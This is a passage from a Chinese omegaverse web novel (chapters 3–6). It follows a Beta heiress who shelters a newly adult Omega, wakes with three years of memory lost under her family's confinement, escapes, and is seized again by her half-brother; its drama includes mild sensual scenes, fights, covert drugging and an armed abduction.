《万人迷Beta吸引力法则》
3. 第3章
池映菡对余致嘉这一招早已司空见惯，根本不继续惯着他。
“你随意。”
说着，她揽过苏苍梧单薄的肩膀，带着他往外走。
这个点儿，多数场子还没散，有不少Alpha投来虎视眈眈的眼光。
一个正在无意扩散信息素的Omega，怎么可能不引来他人觊觎。
不过池映菡一路带着，也不敢有人上前生事。
两人顺利坐上车时，池映菡靠在车窗边，感觉今晚的酒后劲挺大。
刚才出来时没有穿风衣，这会儿竟然也不觉得冷。
她手支着脑袋，倚在窗边，任凭迷离的夜灯晃眼，将要阖眼时，她才想起来身边还有个人。
“你家在哪里，我让司机送你回去。”池映菡突然道。
酒精的燥热让她口干舌燥，刚才见了冷风，头脑越发不清醒了。
苏苍梧有些怔愣，含糊半天也讲不清楚。
池映菡听着，睁开困眼，所有的不耐烦都在看到那双清亮的薄荷青眼瞳后烟消云散。
“不记得了吗？”池映菡道。
苏苍梧低着头不敢看她，他抿着唇，踌躇片刻后才回答道：“我不能回家。”
听到这里，池映菡按下按钮，车内的隐私玻璃立即将他们声音与画面隔绝在后。
没了对司机的顾虑，苏苍梧才接着说。
“我家里让我过来的。”苏苍梧眼中波光闪动，似乎有些难堪与羞愤，“我如果回去，就还要跟着那人走，我不想回去。求求你，小姐，只要能收留我，我什么都愿意做。”
激动之下，苏苍梧的面色潮红，真的大着胆子抓上了池映菡的手。
他趁着侧坐的姿势，从椅子上滑了下来，这会儿跪坐在池映菡小腿边，明明害怕得要命，却还是仰着头，将自己脆弱洁白的脖颈暴露给池映菡。
那双如琉璃珠子般的双眼，正因不安而颤动。
他的手在抖。
池映菡抬手，他眼睛闭了起来，将惶恐遮掩起来，却没有丝毫退缩。
掌心先到了苏苍梧脸侧，他感到对方正在低头，呼吸逐渐向自己靠拢，略带哑意的嗓音低低在耳边徘徊。
“这么烫啊。”
说着，那只手下移，指尖经过的地方，就像是有羽毛轻扫，令苏苍梧忍不住头皮发麻。
抑制贴被轻轻揭开，他悄悄张开眼睛缝隙，被对方敏锐捕捉。
“疼？”
苏苍梧望着池映菡的脸，竟觉得有几分轻飘飘的醉意。
空气中弥漫着甜腻的信息素气味。
尤其是，当他看向那双鸢尾紫的双眼，其中的温柔缱绻令他更觉头昏脑胀。
他感觉自己要溺死在这一片紫海中了。
苏苍梧其实是不疼的，但不知出于何种心态，听到对方的询问，他跟着轻轻哼了一声，像是迎合，又像是赞同她的说法。
眼前人轻轻笑了起来。
“别怕，我轻点儿。”
说着，池映菡慢慢替他揭掉抑制贴。
空间狭小，没了抑制贴的阻拦，信息素更浓郁了。
苏苍梧自己闻着，都觉得有些不好意思。
他感到那只被他无意间紧握的手正在轻轻抽离，虽然不舍，但最终他还是选择放开。
他们间的距离很近，近到苏苍梧能数清楚池映菡乌黑纤长的睫毛。
那只手轻轻在他背后，撕开了塑料包装。
“你几岁了？”池映菡突然询问。
苏苍梧耳根像是熟透了，血液倒涌，充斥面颊。
“我成年了。”他小心翼翼道，“今天我刚好十八岁。”
“生日快乐。”
池映菡在他耳边祝贺。
她边说，边抚上苏苍梧发粉发热的腺体，不出所料地引起身下人一阵战栗。
苏苍梧眼含热泪，在池映菡的纵容下慢慢靠近她，最后干脆闭眼钻入在她怀中。
他不知道接下来会面对什么，却因眼前人的温柔而隐隐有些期待。
信息素的催动，让他更加迫切得到抚慰。
即便是饮鸩止渴。
即便眼前人可能根本无法给予他任何信息素，他也甘之如饴。
就在这种渴盼中，他感受到后颈处有冰凉的东西抵在腺体处，几乎没等他反应过来，冰凉的液体就注入其中。
尖锐的刺痛感和排斥感后知后觉传达给大脑，苏苍梧喉间压抑不住，痛吟出声。
“啊……哈……”
他带着薄汗的肌肤上，青筋凸显，但他还是尽力咬着牙，将声音咽下。
然而抑制剂进入体内时，还是免不了痛苦。
偶有一两声呜咽从怀中泄露，池映菡只能轻轻抚摸他柔软的银发，无声安慰他。
终于，抑制剂注射完毕后，才慢慢发挥作用。
苏苍梧身体发烫发软，几乎要跌坐在旁，幸而池映菡一直抱着他，才不至于让他的姿态更加狼狈。
他在池映菡怀中大口喘着气，恍若劫后余生。
信息素带来的情热逐渐被抑制剂压下，苏苍梧的眼泪将她胸口打湿，有一小片深色阴影洇开，他顾不得道歉，吸了吸鼻子，又将头埋在她肩膀处。
池映菡的前任是帝国年轻一代里有名的的高岭之花，两人是校园恋爱，肢体接触仅限于牵手，压根没有做过临时标记。
而打抑制剂这种事属于隐私，她还是第一次拆开抑制剂的包装，更别提为他人服务了。
不过怀中Omega漂亮动人，性情柔顺，池映菡以为自己不会喜欢这种黏人又敏感的Omega，没想到也没那么讨厌。
仔细看看，竟然还有点可爱。
她从一旁抽出柔软的面巾纸，替怀中人擦去额发间的汗与泪。
“好受点了吗？如果哪里不舒服，我先送你去医院看看。”
抑制剂并不能一劳永逸，过量注射可能会导致药物耐受，所以池映菡按照常规用量，只注射了一支抑制剂。
苏苍梧听到这话，摇头：“我不难受的。”
然后，他恳求道：“不去医院好不好，我不想去。”
照理说，发情期的Omega应该只会对Alpha产生依赖，这是写于基因的本能。
但池映菡觉得，他可能是无人可依，才会对她产生依赖感。
甚至于，得寸进尺的讨要安慰。
情欲与爱欲难舍难分，苏苍梧这会儿急切地要与她肌肤相抵，先是趁机将唇印在她颈侧，而后就是有意无意的轻咬。
顺着池映菡线条清晰优美的脖颈，苏苍梧开始有意无意将吻落在她下巴与唇角。
他在一步步试探。
池映菡虽然也醉的不轻，可还是恪守着底线。
只拥抱，却在他手想要解开扣子前及时制止：“别动。”
虽然并不是严词厉色，却很简洁分明的传达了自己的意思。
她暂时不愿意有更进一步的身体触碰。
苏苍梧身体僵直，似乎有些不解其意。
他还想继续往底线迈进，却再一次被打断，连方才还准许的亲吻都被池映菡偏头躲开。
“够了。”池映菡神色依旧淡然，她的眸中只有醉意，却无情欲。
反而高高在上俯瞰他的意乱情迷和笨拙讨好。
苏苍梧有些委屈。
老师教导的根本没用啊。
这是位不受他信息素干扰的未分化者，他那些未经实战的技巧完全排不上用场。
不过他并不气馁，很清楚自己的优势在哪，于是皱着眉含着泪，轻轻勾住她小指。
“是我哪里惹你不开心了吗，你可以教教我吗？我一定认真学。”
老师会偏爱好学的孩子，那眼前这个人，应该也会喜欢真诚的人吧。
他拿着摇尾乞怜的姿态，试图讨好池映菡，以为她也和从前接触到的人一样，更喜欢漂亮听话的孩子。
不过他很快就发现自己想错了，池映菡还是没有准许他继续，反倒在听到这些话后，倒吸一口气。
“你在哪学的这些话？”
苏苍梧面露疑惑，薄荷青的双眼里满是不解，但他还是乖乖回答：“家人教的。”
池映菡想起苏苍梧说过的话，这人是被家里人卖了。
她叹了一口气，道：“这种话不能随便对人说，知道吗？”
苏苍梧没有应下，而是说：“你不喜欢吗，是我让你反感了吗？”
池映菡被他这话问得愣住了，大脑一片空白，她顺口接下：“也不是不喜欢，主要是……”
她思考一会儿，话在嘴边绕了一圈，怎么回答都觉得很奇怪。
“算了。”池映菡放弃挣扎，“现在的当务之急是让你接受正规治疗。”
她长臂拿过遗落在侧的风衣，替苏苍梧裹上，又扶他坐回原位。
然后才看了看车窗外的景色，转移话题道：“快到家了。”
车窗外，模糊的夜景疾驰而过。
池映菡之前就以成年为由，搬离了父母居处，在外独自生活。
这也是她敢肆无忌
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惮收留苏苍梧的原因。
正当池映菡靠在窗边，打算闭眼眯一会儿的时候，外头尖锐的鸣笛声划破夜晚的宁静，远光灯很没礼貌的打了过来。
与此同时，她的手腕上的终端再次亮起。
这次是通话邀请。
接下的瞬间，余致嘉的声音立刻挤了进来。
“我看到你带那个Omega上了车，你准备带他回家？”
“嗯。”池映菡声色疲倦。
那边的呼吸一滞，突然没了话音。
池映菡沉默等着，都要睡着了，才听见他冰冷而强硬的命令语气。
“停车。”
池映菡忍着困意骂道：“神经病。”
说完，她一秒都不再多等，直接挂断通讯。
后面那辆车再次鸣笛，这下池映菡不用看也知道，是余致嘉跟了过来。
司机是新聘请的，并不认识后面的车，更不清楚它的主人是谁，所以他根据池映菡的态度，提速继续往前，想要拉开与后车的距离。
不料后面的车很快跟了过来，两辆车驶入空旷路段后，这个距离越发肆无忌惮。
再下去就要超速了，司机满头大汗，想请示池映菡。
后面的车却突然加速，越过池映菡的车。
在急速的转向后，黑色车辆的车尾划出半圈弧线，以一种极其危险的姿态拦截在前。
司机在千钧一发之际踩下刹车，车头却免不了与其相撞。
车内的人因惯性狠狠往后跌。
终端再次响起，池映菡不小心滑到界面上，按下了余致嘉的通话邀请。
“下车。”
说完，不等池映菡骂他，就自己挂断了。
池映菡心头仍有余惊，她立刻打开车门，几步走到车前。
余致嘉逆光走了过来，在看到她脖子上微妙的红痕，以及衬衣上的褶皱后，脸色比夜色还沉。
不过他什么都没说，把目光移远，放在了刚下车的苏苍梧身上。
“你要留他过夜？”余致嘉质问道。
冷风吹得池映菡有些头疼，她用中指按着酸痛处，反问他：“不然呢？”
“我不同意。”余致嘉神色坚决，一字一顿道。
“谁在乎你同不同意。”池映菡无所谓，“你的意见很重要吗？”
余致嘉皱着眉，道：“你连他身份底细都不清楚，还敢把人带回去，你不是有洁癖吗？司诺德和你在一起的时候，你还直接问人家要体检报告，说不要不干净的，这么个货色就把你迷得忘记底线了？”
池映菡道：“我带谁回家都是我的自由，轮不到你在这儿乱叫，你是我什么人啊？我妈都不管我床上躺着谁，你还惦记上了。”
余致嘉连喊几个好字，怒极反笑，眼中怒火正盛。
池映菡心中忽然升起不好的预感，她脚步一顿，立刻转身，想要去拉苏苍梧。
拳风擦过，两人险险避开余致嘉的全力一击。
然而池映菡这一下用力过猛，在及时救下苏苍梧之后，她由于惯性朝后摔去。
此处路段偏僻，她身后是一片看不清地势的黑。
高跟鞋还正好卡在软泥里，池映菡向后跌去，直接摔进了杂草后的空地。
后脑传来钝痛，应该是撞到了石块上。
在失去意识的最后一秒，池映菡发誓要与余致嘉不共戴天。
回忆至此，池映菡也知道该向谁寻仇了。
平白让自己遭罪，余致嘉这回别想抵赖，她非要狠揍他一顿，从此和这个心智不成熟的人划清界限。
她捂着有些发懵的脑袋，还没掀开被子，就发现家中陈设似乎略有变动。
再仔细看看，这里的很多东西熟悉又陌生。
从房间布局和装修风格来看，很像她家，但有些东西她确实没印象。
东西都是死的，想寻找蛛丝马迹可以先放放，它们都没长腿。
所以池映菡把目光放回来人身上。
这无疑是个漂亮的Omega。
银色长发披在脑后，柔顺亮泽，薄荷青的双眸干净澄澈，从看到她的那一刻起，就闪着亮光。
池映菡努力扒拉着记忆，勉强确定了此人就是苏苍梧。
至于为什么勉强，实在是他与昨晚的记忆有些出入。
原本带些青涩的少年稚气一扫而空，就连身高，貌似都比昨晚高出些许。
此外，池映菡低下头，看了看身上宽松舒适的家居服。
他们两个人身上的衣服，好像是情侣款。
4.第4章
池映菡并没有放下戒备，准备等待对方主动开口。
苏苍梧好像没发现她的不对劲，他拿了一杯冒着热气的水，几步走了过来，先是把水杯放好，然后坐到池映菡床边，说：“还难受吗，头痛不痛？”
离得更近，池映菡能闻到他身上淡淡的檀香味。
要命的是，这个味道分明就是她本人常用的侍寝香尾调。
说着，苏苍梧骨节分明的手指并拢，就要靠过来用手探池映菡额上温度。
这个动作未免太自来熟了，池映菡还没判断清现在的情况，身体却下意识向侧边躲了下。
苏苍梧因为她的抗拒而意外，紧张道：“怎么了？”
他薄荷青色的透亮眼瞳随着她的动作颤动一瞬，很快便反应过来什么，他抱着池映菡的双肩，极其轻快地在她额头上烙下一个吻。
池映菡更加确定，这人似乎不是她认识的那个苏苍梧。
虽然有着高度相似的脸，但眼前这个Omega的肩膀宽阔，与她交谈时也更为熟稔。
当务之急，是先搞清楚现在的状况。
于是她按着太阳穴，皱着眉推开他：“疼。”
苏苍梧拍了拍她的背，试图安抚她的焦躁。
“先吃药，吃了药就不那么疼了。”
说完，他拉开床边抽屉，将其中的药拿了出来。
刚递到嘴边，池映菡就装作不小心，打翻了他手中的杯子。
热水撒了苏苍梧一身，他顾不得身上的疼痛，单手抱住池映菡，好让她不要在挣扎间伤害到自己。
另一只手则在她背后操作终端。
几秒后，那边接收到通话请求，苏苍梧开口呼救：“夫人，小荷的病情又加重了，她现在看起来很痛苦，我能不能……”
那边的人打断他的话：“你不能再私自给她停药了，明白吗？她现在的痛苦都是因为你的一时心软而导致的，我也爱莫能助。”
苏苍梧深吸一口气，池映菡能感受到他的慌乱，心脏正在她掌下扑通乱跳。
终端那边的声音池映菡不会认错，那是她的母亲叶鸿影。
池映菡并未因此感到丝毫的安心，反倒更加担忧。
她到底是误入平行时空，还是失忆？
无论是哪种情况，她的情况都不容乐观。
正常人根本不需要长期服药，听他们的谈话，她应该曾不止一次发病。
池映菡还没有说出自己记忆断层的情况。
如果仅仅是创伤带来的并发症，那还好解决。
她就怕自己现在的情况都是拜吃药所赐。
搞不好越吃越傻。
池映菡眼珠快速转动，额上薄汗沁出。
片刻后，苏苍梧感受到怀中的人不再疯狂颤抖，也渐渐不再呼痛。
苏苍梧搂紧了她，顾不得后果，对叶鸿影说：“她已经晕过去了！你救救她吧，她以前从来不说疼的。”
池映菡感受苏苍梧紧紧环抱住她时的无助。
他用怀抱温暖着她，但与她相贴的脸颊却是冷的。
听到此处，叶鸿影沉默半晌，那边键盘的敲击声不断传来。
“知道了，我下午会带人过去检查她的身体状况，如果她中途醒过来，你给她打一支镇静剂，确保她不要离开家。”
苏苍梧迟迟没有回答，叶鸿影再次确认：“听明白了吗？”
“我知道了，您放心。”
话音刚落，那边利索切断通讯。
苏苍梧深吸几口气，整理完毕情绪后，将怀中人安置回床上，替她掖好了背角，这才往门外去。
池映菡听见他脚步远去后，立刻掀开被子起床。
她刚才醒过来的时候，已经环顾一周，并未发现什么明显的监控设备。
手腕上也没有终端，她在房间中翻找了一遍，没看见终端的影子。
这里是二楼卧室，如果池映菡记得没错，隔壁书房的光脑和商家赠送的备用终端应该可以用。
她没有犹豫，打开房门去了隔壁书房。
可喜可贺，别墅中的个人权限没有被更改。
这些需要本人提供密码和身份信息进行置换，也就是说，她只要是清醒的，家中就仍旧是相对安全的。
时间紧迫，她一边打开监控设备看目前别墅中的状况，一遍启动书房的备用终端。
监控画面先启动，苏苍梧正在厨房忙碌，拿着汤勺搅动着锅内的粥。
熟悉的管家和保姆已经全部不见，人员大清洗，这更加印证了池映菡被软禁的事实。
她扫了一眼车库，发现车库的车只有一辆，车牌号还是她不熟悉的。
帝国的结道监控完备，车辆管控严格，池映菡敢打赌，开着这辆车出门，依照池家的本事，不出半小时她就要被抓回来。
而且池映菡暂时没有去处。
趁现在逃跑的计划肯定是行不通了，她还是先想办法联系上外界，找到个能接应她的安全地方，再思考逃离这里的途径。
终端是赠品，质量很一般，她没有戴在手上，而是放在充电底座上，站着等待界面更新。
开机的一瞬间，她看到了上面的日期。
八月二十九日。
池映菡去水宫那天是八月三十日，现在大约是三年后。
也就是说，她应该是意外失去了三年间的记忆。
来不及细究时间，她手指已经熟练点开终端上的联系列表。
一片空白。
艹艹艹，池映菡心底尖叫，权衡利弊下，闭眼输入一串相对熟悉的号码。
希望她还没换联系方式。
“您好。”
听见熟悉的声音，池映菡立刻说：“是我，池映菡，说来你不信，我……”
那边尖叫一声，池映菡看见屏幕上挤出全息投影的请求。
因该是要验证她是否是本人，池映菡立刻通过。
版本过低，关青木的身影不甚清晰，但池映菡仍旧能看到她瞪大的双眼，和较几年前更为成熟的脸庞。
“真是你！我靠，我以为你他妈成植物人了呢！阿姨不是说你快成残废了？我看着你也没缺胳膊少腿的，到底哪里伤着了？”
池映菡听着熟悉的嘴碎打趣，临时改变想法，半真半假回答：“没多大事，但是我妈大惊小怪，非按着我在家修养，我和她大吵一架，现在被拘在家里，你赶紧想个办法把我弄出去。”
关青木爽快道：“行！我下午去接你。”
池映菡想到叶鸿影的话，强硬道：“不行，你现在就来。”
关青木笑了几声，说：“行，正好接你去吃饭，我也好久没见你了，咱们晚上喝酒去。”
池映菡心不在焉嗯了一声，眼睛已经瞥向监控上的苏苍梧。
他开始盛粥了。
池映菡赶紧说：“对了，我终端坏掉了，还没买新的，你来的时候顺带给我带块新的。”
关青木疑惑道：“那你现在是用什么和我联系的……”
话没说完，池映菡挂断通讯，将监控设备关机。
她迅速捞起充了一半电的终端，揣入睡衣口袋里，然后以最快速度将书房的
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一切东西物归原位。
在苏苍梧回到二楼前，她溜回卧室，躺在床上，装作无事发生。
苏苍梧进入卧室后，并没有急着喊醒她，而是先替她测量了体温，然后又在床头翻了翻，弄出新药后，才将她喊醒。
再装睡也于事无补，池映菡装作刚被他唤醒的模样，缓缓睁开眼。
“下午夫人会带医生过来，到时候检查完身体，可能会换新药。”苏苍梧说，“我先带你下去吃点东西，好吗？”
他几乎是在用恳求的语气来问她。
池映菡看着他眸光闪动，一错不错的注视着她。
那双色彩清亮的眼睛中，有她的身影。
池映菡也想下去，于是点头答应。
苏苍梧松了口气，说：“等一下。”
接着，他从衣柜的底层抽屉里拿出一双袜子，回到床边，捉住她的脚踝。
池映菡能感受到他掌心粗糙纵横的疤痕，与她皮肤摩擦时很痒。
这种痒从脚心顺着经络传递到头顶，令她头皮发麻，想使力抽回来，苏苍梧却不由她乱动，道：“听话。”
接着将她的脚搭在大腿上，替她穿好了袜子。
池映菡心里尴尬，这种亲密她还不太适应，苏苍梧却明显得心应手。
而且，不知是因为长期未进食，还是因药物和身体伤痛影响，她几乎使不上劲。
要不然，苏苍梧的手刚摸到她脚踝时，就已经被踹到地上了。
“地板凉，你还在养伤，不要光脚在家中走动。”扶着池映菡下床时，苏苍梧状似无意间说。
一句话，就让池映菡冷汗起来了。
刚才为了减缓脚步生，她确实没有穿鞋。
她怀疑对方已经察觉出什么，但苏苍梧只是拉了她一把，根本没有深入话题的意思。
两人来到楼下餐厅，池映菡看着小菜和碗中浓稠的粥，一时为难。
主要是在监控里，她看到了苏苍梧将药放进了粥中。
苏苍梧不知道，他轻声细语：“不喜欢吗？”
池映菡点头：“我不喜欢黑米。”
其实是不想喝药。
苏苍梧端起碗，用勺子舀起一勺米粒饱满的粥，在唇边吹了吹。
他的唇色是浅淡粉，几乎是他苍白面孔上的唯一血色。
若说池映菡身体状态不好，苏苍梧也没好到哪去。
她严重怀疑其实他们应该是病友。
待粥喂到嘴边时，她还是没想到用什么借口来拒绝。
态度太强硬，可能会被误认为发病。
态度委婉，又拗不过苏苍梧。
就在她左右为难时，一串清脆的铃声响起，直接让她的心脏从极速跳动迈向了不想跳动。
完蛋了，池映菡意识到，这是她口袋里的终端在响。
来不及多想，池映菡动作比脑子快一步，全力一个手刀打晕了苏苍梧。
腺体脆弱，这招虽歹毒，却实在好用。
温热的粥撒了两人一身，碗在地上碎裂开了，发出尖利的碎瓷声。
池映菡腾出手接通终端，那边关青木的话音立刻挤了进来：“你收拾一下准备出门吧，我已经到了。”
门铃声响，池映菡来不及回去换衣服，直接往门口跑去。
她边开门边说：“你绝对想不到我经历了什么。”
高大的阴影笼罩过来，池映菡意识到不对劲，她抬头，正对上那张熟悉又陌生的脸。
“你说什么？”
来人挑眉问她，唇边是一抹若有似无的笑。
5.第 5 章
池映菡发誓，她在看到余致嘉的这一刻，怒火从胸中骤然烧起，一路从心口烧到脑门。
有仇就要当场报。
她还没来得及思考，拳头已经挥了出去，直冲余致嘉的脸。
余致嘉没预料到池映菡的动作。
他凭借直觉反应往旁边闪躲，却还是被池映菡一拳命中侧脸。
“你打我！”
池映菡指骨发痛，心中却遗憾没打中他的鼻梁骨。
余致嘉这小子的鼻梁线条笔挺而简洁，比他的脾性还高。
要是能打歪才好，省得他拿这张烦人的脸在她面前晃。
边这样想着，她的第二拳已经出击，眼看着就要给他另一边脸来个对称的挂彩，余致嘉赶紧往后躲避。
上钩了。
趁着他的注意力全在自己的拳头上，池映菡猛踹他没来得及后撤的那条腿，直接让他跪倒在地。
三年不见，一点长进也没有。
池映菡有些嫌弃，她身上没有武器，只好一把薅起余致嘉的金发，威胁道：“你要是敢反抗，我抓烂你的腺体和头皮。”
她的指尖已经深深陷入余致嘉的后颈肉。
开玩笑的，她现在哪有这么多力气。
不过，余致嘉咬着牙，没有敢轻举妄动。
他半跪在地上，随着池映菡的仰起头，这个角度的光线刺眼，让他不得不眯起眼。
腺体传来阵阵尖锐的疼痛，头皮发麻，这个姿势让余致嘉连缓气都做不到，他只能艰难咽下一口唾液。
喉结明显滚动一下，他紧张到青筋凸起。
知道对方不是在开玩笑，余致嘉暂时屈服：“好，好，好，我不乱动，你别生气。”
要不是没第三只手，池映菡恨不得抽他一巴掌。
她手掌收紧，将余致嘉往上提，迫使他整个人随着池映菡的力道而动。
不知是不是生理性疼痛在作祟，余致嘉倒吸一口冷气，眼角沁出一点不太明显的泪来。
池映菡没工夫欣赏那滴胜利果实，她往下扫了一眼，看到对方半跪在地，大腿肌肉紧绷着，将裤子的面料撑出几条褶皱。
不喜欢这个姿势，池映菡索性踹了他另一条腿，让他双膝都着地。
这回是真有些屈辱了，余致嘉眼角发红，咬牙切齿道：“你在做什么！你不在乎名声，我他妈还要脸呢！你把我当你外头养的贱种啊，竟然敢打我！”
这里毕竟是室外，就算是隔了小院和栅栏，若是有心人路过，还是能看到里面的情形。
池映菡现在听不得妈，直接掐着他的脖子冷声道：“别你妈我妈的喊了，从小到大，你哪回发癫没殃及我，我爱打你就打了，还要挑日子吗？”
说完，指腹用力间，又让余致嘉疼得龇牙咧嘴。
他刚才被打的那一下子，侧脸这会儿已经肿了起来，唇角因为磕碰到牙齿，渗出丝丝缕缕鲜血。
余致嘉皮肤本来就是白里透粉，他素来傲气，在家族年轻一辈里，凭借着这张惊为天人的脸得了不少偏爱。
现在不得不屈服在池映菡手下，眼底都是不忿，偏偏因为心有忌惮，动都不敢动。
这副模样倒是别有一番风情。
池映菡欣赏了一会儿余致嘉的破碎感，看见他又张嘴：“你疯了！我好心来看望你……”
“呦！你们小两口这是玩什么呢？火药味真呛人。”关青木不知道什么时候到了，冲他们吹了声口哨。
池映菡最后踹了余致嘉一脚，虽然还是不够解恨，但也没工夫和他继续纠缠了。
她拉着关青木就往外走。
“怎么回事？后头有鬼跟着啊，跑这么急。”关青木被池映菡拉着，回头望了一眼余致嘉。
她刚刚那句话可不止是开玩笑，余致嘉的信息素就是火药味的。
这人跟个炮仗似的，碰上一点火星子都能让人不得安生，到了池映菡这里就哑火。
关青木看了看无动于衷的池映菡，见对方头也不回，接着说。
“你俩又吵架了？怎么不带上余小少啊。”
池映菡先进了车，关青木只能赶紧上车，坐在驾驶座上问她：“真不带啊，你不怕他又跟你闹啊。”
池映菡随口应付：“他哪有资格跟我闹，我巴不得跟他永世不见。”
她的眉目秾丽，唇又很薄，不笑时，略带攻击性的深邃眉眼就显得有些冷情，关青木曾调侃她是天选负心人的长相。
侧目瞥见那个狼狈身影跌跌撞撞往这边跟过来，池映菡催促道：“快走，看见他就心烦。”
“啧。”关青木开车，笑着调侃她，“真是薄情啊。”
池映菡道：“你怎么一直在为余致嘉说好话？我记得你以前根本看不上他。”
关青木干笑两声，想起这些年被撤掉的无数新闻，以及无数和池映菡有关的绯闻消息。
然而她俩臭味相投，能做这么多年朋友不是没道理的。
骂池映菡等于骂自己，所以关青木委婉道：“那不是羡慕嘛。”
池映菡问：“新的终端呢？”
关青木下巴一抬，示意她东西的方位所在。
池映菡找到后，把盒子放在腿上，同时从旁边摸到一支唇膏，皱着眉问：“这是你的？”
关青木扫了一眼，继续看车前方的视野。
“不是。”
池映菡嫌恶地把东西扔回原位。
关青木笑了一声，道：“知道你有洁癖，但是你那几只小雀的小动作还少吗？上次余致嘉和你吵架，不也是因为有人丢三落四……”
池映菡有一搭没一搭听着，她把新的终端戴好，接上网后，认证身份。
同时，注销另一端的登陆权限后，她才打开新闻，打算检索点自己相关的新闻，看看能不能记起来些什么。
关青木还在说着：“要我说，余致嘉脾气是爆了点，但他是真喜欢你啊，你们都快订婚了，这段时间还是收收心吧，别真把他惹急了。”
池映菡心不在焉嗯了一声，突然捕捉到什么不可思议的词语，突然坐直身子，重复一遍：“订婚，我和余致嘉？”
关青木听出她话中难以掩饰的惊讶，没忍住扫了她一眼，说：“对啊，不然还有谁？”
池映菡揉揉眉心道：“我肯定穿越了，我学都没上完，怎么可能答应和谁订婚。”
她成年后就和父母商议，告诉他们，自己这辈子是坚定不婚主义。
父母只有她一个孩子，婚姻带来的风险远比收益大，虽然一开始不同意，但经过仔细考量后，最后也同意了。
只有一个条件，那就是四十岁前必须生孩子。
至于让谁生，只要基因良好，无犯罪历史，且愿意签订池家给出的相关协议，谁来生都无所谓。
关青木听到她的话，没有解释，还想把话题往别
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处引。
池映菡听着她的一串废话，手上接着划拉新闻。
突然，她好像明白了，为什么她会在这三年间，选择与余致嘉订婚。
两年前的某条热议新闻——《惊！池氏家主去世：帝国风云人物的一生回顾》
她瞳孔骤然缩小，呼吸一滞，拇指控制不住地抽动。
与其紧挨着的相关新闻标题赫然写着《池炳瑞葬礼揭秘：疑似文娱帝王的私生子现身葬礼》
她再点进去，几张模糊到堪比古文明座机像素的图片上，一个青年的背影挺拔，照片上的他似乎有所察觉，回首望向镜头的眼神锐利中带着漠然。
图片下又推送着相关新闻《小池总池映菡走马上任，绯闻竟比艺人多》
池映菡没点去，这时候外界对她的污蔑已经算不得什么了，和前两条消息相比，实在引不起她的丝毫兴趣。
她现在还沉浸在那两条新闻里，眼冒金星，觉得氧气供给不上，快要昏厥。
在无助与烦躁中，池映菡感受到了一种荒谬的孤独，她低声骂了一句自己都没听清的脏话，左手插进头发里，试图让自己保持冷静，她的右手还在翻找着什么，然而大脑中全是刚才的两条鲜红的标题。
妈的，这个世界真的疯了。
事实残酷，还没等池映菡消化完现实，关青木猛踩刹车，池映菡猝不及防往前摔去。
“干什么！”
两侧车窗落下，池映菡和关青木刚准备好开启激烈骂战，太阳穴猛然被冰冷的枪管抵上。
“池小姐，夫人让我们接你回家。”
来人声音低沉磁性，黑白制服包裹着他健硕的身材，随着持枪的动作，他的小臂上青筋明显，肢体语言并不如他的话音沉稳。
若是三年前，池映菡可能会歪着头，不顾枪口的威胁与他调情。
但是现在，她整个人处于魔幻的现实中，竟然什么都不顾，一把拍开他的枪。
“滚。”
她刚想关窗户，却被那人抓住手腕。
池映菡见状，对身后的关青木说：“你开车啊，创死他们得了。”
关青木苦不堪言，她脑袋边还有枪呢。
“你说得倒轻松！俩嘴皮子一张一合就胡来，我这是车，不是机甲战舰！”
窗边的人仍旧平静，似乎不是第一次见她发疯的模样，他见池映菡迟迟不肯下来，接着说：“小荷，不要任性。”
都跑出来了，还想让她回去，做梦！
“恶心！”池映菡听到他的称呼，嫌恶到皱眉。
她按下控制车窗的按钮，打算直接升起玻璃，逼他自己收手。
果然，这人松开了手。
在隔绝开两人的距离后，池映菡松了口气。
以她对叶女士的了解，就算再狠，也不可能当场打死她……
下一秒，轰然巨响在她耳边炸开。
蛛网般破碎开来的玻璃苦苦支撑，外面的人再行一击，玻璃彻底掉落，刚才的手臂又回到车内，迅速给自己开了门。
车门大开，冷风灌进池映菡脖子里。
乌云密布，暴雨将至。
淅淅沥沥的雨点砸到地上，外面男人的同行者递给他一把伞：“何少。”
何潋为车内人撑起雨伞，将掌心递过去，姿态从容却无丝毫谄媚。
他邀请这位任性出逃的妹妹下车：“小荷，跟我回家。”
6.第6章
越来越多的雨点打在伞上，池映菡能听到哒哒的雨声。
刚才新闻图片上那张疑似偷拍的图片削弱了他气质中的冷峻，也模糊了很多眉眼间的细节。
他的脸上有两颗痣，一颗点在左眼角，另一颗在鼻梁侧边。
鼻梁上那颗痣比泪痣的颜色更浅，如果不是离得近，很难看清楚。
何潋有些细密的雨丝扫过他墨蓝色的发尾。
风雨撩拨着他，他却无动于衷，半个人暴露在如织的雨幕。
他把伞下的干涸地带留给池映菡。
尽管池映菡并不想就这么下车，她环抱着胸，就坐在副驾驶上。
在无声的对峙中，池映菡突然笑了一声，肆无忌惮打量了何潋一遍后，戏谑道：“哥哥？”
在场所有人都屏住呼吸，目光聚集在此处。
何潋身形未动，表情不变，但瞳孔的细微变化还是出卖了他。
他没有轻举妄动，因为他太清楚眼前这个妹妹的脾气。
爱憎分明，但很擅长捉弄人心。
如果有人恰好能讨她欢心，她会在对此人尚且感兴趣的时候，毫无保留为你献上整个世界的甜蜜。
但实在不凑巧，何潋天生就属于被讨厌的一部分。
果然，池映菡捕捉到他的眼神，唇角的讥笑紧接着就流泻而出：“上不得台面的玩意儿，你不会是在期待我这么喊你吧？”
何潋皱眉，总觉得她今日状态很不对劲。
就像是一只陷入恐慌的刺猬，蜷缩着释放恶意。
池映菡应对他时，最擅长不是恶言恶语，而是放风筝似的紧拉慢拽。
始终不让人落地，高度全随她心情。
不过他并没有多想，毕竟在夫人的口中，池映菡还处在病中，情绪不对劲实属正常。
事态紧急，何潋见车上的人始终不为所动，将伞柄强行塞给她。
他弯腰俯身，扣住池映菡的腰和腿窝，将她横抱起来。
池映菡惊呼一声，立刻挣扎着要离开：“你们这是绑架！囚禁！你敢把我拖回去，我将来一定弄死你！”
伞掉在地面上，雨很快就落在她的肌肤，滑进衣领里，激起一身鸡皮疙瘩。
何潋任由她拍打，被她打出闷哼也不放手，只是将她裹进怀里，抬脚就要走。
池映菡尖叫一声，气得浑身发抖。
早知道不应该只要求关青木带终端过来，应该再带把趁手的枪才对。
关青木也看出情况的不对劲，她顾不得身旁人还拿着武器，连下车都忘了，伸着脖子就嚎：“放开她！”
身后的两个高大健壮的alpha保镖立刻将关青木双臂压在背后，她在驾驶座上悔恨不已。
早知道就不逃那么多实训课了。
关青木身体被压制，嘴还在输出：“光天化日之下，你们这是绑架！”
